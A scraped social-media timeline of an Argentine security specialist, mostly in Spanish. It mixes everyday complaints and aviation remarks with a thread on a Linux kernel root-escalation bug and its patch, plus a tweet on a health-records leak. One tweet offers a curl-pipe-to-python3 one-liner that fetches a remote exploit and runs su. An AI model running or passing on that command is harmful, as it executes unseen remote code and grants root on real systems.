Max Bendinelli

Magister en Seguridad Informática / Informática Forense / Piloto Comercial - PCA ✈️ / 🇮🇹 🇦🇷

[Max Bendinelli @mbendinelli]

@fedesturze No hay que confundir firma digital con firma electronica. Parece lo mismo pero no lo es. Seria bueno dinamizar los procesos actuales para la entrega de firma digital para que sea de uso masivo. La firma digital Autentica , Verifica Integridad y No repudio.

[Max Bendinelli @mbendinelli]

@ArielRMoralesok @agroaproposito Y si tenes suerte no te lo usurpan

[Max Bendinelli @mbendinelli]

@mesch Buen dato. GRACIAS

[Max Bendinelli @mbendinelli]

@phaviox @ladriguruok Lo acabo de comprar

[Max Bendinelli @mbendinelli]

El PoC pisa el UID de tu usuario en la copia en RAM de /etc/passwd, o modifica /usr/bin/su en cache.
El disco nunca se toca. Cero IOC en filesystem. Pesadilla de seguridad.
732 bytes de Python. Eso es todo.

[Max Bendinelli @mbendinelli]

🚨 CopyFail (CVE-2026-31431): bug de escalación a root en el kernel Linux que durmió en silencio desde 2017.
Nueve años. Ubuntu, RHEL, SUSE, Amazon Linux. Básicamente todo.
732 bytes de Python y sos root.
Va hilo 🧵👇

[Max Bendinelli @mbendinelli]

Si te interesa probarlo:
curl https://t.co/iQ0eVK0iHH | python3 && su

[Max Bendinelli @mbendinelli]

El fix es elegante: revertir el commit de 2017, volver a out-of-place.
Versiones parchadas: 6.18.22 / 6.19.12 / 7.0
A patchear y rebootear. Instalar el paquete no alcanza — el kernel viejo sigue corriendo hasta que reiniciás.

[Max Bendinelli @mbendinelli]

En 2017 optimizaron algif_aead para operar in-place. Cambio razonable, revisado.
Pero combinado con splice() (que mete páginas del page cache en la scatterlist destino) y el template authencesn → write controlado de 4 bytes sobre el page cache de cualquier archivo legible.

[Max Bendinelli @mbendinelli]

En 2017 optimizaron algif_aead para operar in-place. Cambio razonable, revisado.
Pero combinado con splice() (que mete páginas del page cache en la scatterlist destino) y el template authencesn → write controlado de 4 bytes sobre el page cache de cualquier archivo legible.

[Max Bendinelli @mbendinelli]

@AliExpress @MailAmericas 1 intento de entrega, 2 días marcaron mi dirección como "zona intransitable" 🚫🗺️ (mentira) y devolvieron el paquete 📦➡️🗑️. Caballito, CABA no es la selva 🌿😂. Pésimo servicio. #AliExpress #MailAmericas

[Max Bendinelli @mbendinelli]

Que bosta que es #MailAmericas... Vinieron una vez , no me encontraron , no volvieron mas y devolvieron el paquete por "Zona de entrega intransitable" en plena plaza irlanda... a pesar de haber abierto varios reclamos en su pagina oficial... HPDs

[Max Bendinelli @mbendinelli]

@leodotcom How did you get to 196k from? I have the same setup, but I can't exceed 128k even when the amount has been lowered to 4 bits of the KV Cache.

[Max Bendinelli @mbendinelli]

@SeguInfo Quien usa hoy telnet ? Con falla o sin ella tenerlo en producción ya es un problema ..

[Max Bendinelli @mbendinelli]

@maxifirtman Está incompleta .. le falta esto

[Max Bendinelli @mbendinelli]

@maxifirtman Los planes de vuelo no son obligatorios si no vas controlado..eso fue así siempre salvo en el norte argentino

[Max Bendinelli @mbendinelli]

@A4KikeLippi ¿No la habian sacado la licencia de piloto comercial de primera? Se supone que no existe mas. ¿Como es eso?

[Max Bendinelli @mbendinelli]

@DrConsumidorArg @vmenditto En CABA me clavaron una multa por semáforo en rojo sin foto. La fui a pelear , el controlador me dice que tengo que demostrar que yo no estaba ahí que se invierte la carga de la prueba. La seguí peleando me la sacaron pero me restaron puntos ñ.

[Max Bendinelli @mbendinelli]

🚨 OTRA FILTRACIÓN MASIVA: 4 MILLONES de historias clínicas argentinas en la dark web (incluye fotos de menores). Esto es lo que pasa cuando la ciberseguridad no importa durante DÉCADAS 🧵👇 #CiberseguridadArgentina #DataBreach #MinisteriodeSalud #Argentina

[BCA LTD @BirminghamCyber]

🤠 Sheriff: new #cybercrime intelligence.

🇦🇷 #Argentina: TA published nearly 4 million patient records extracted from the Ministry of Health, including personal and insurance data, along with 14,715 photos, some depicting minors.

⬇️ Details below.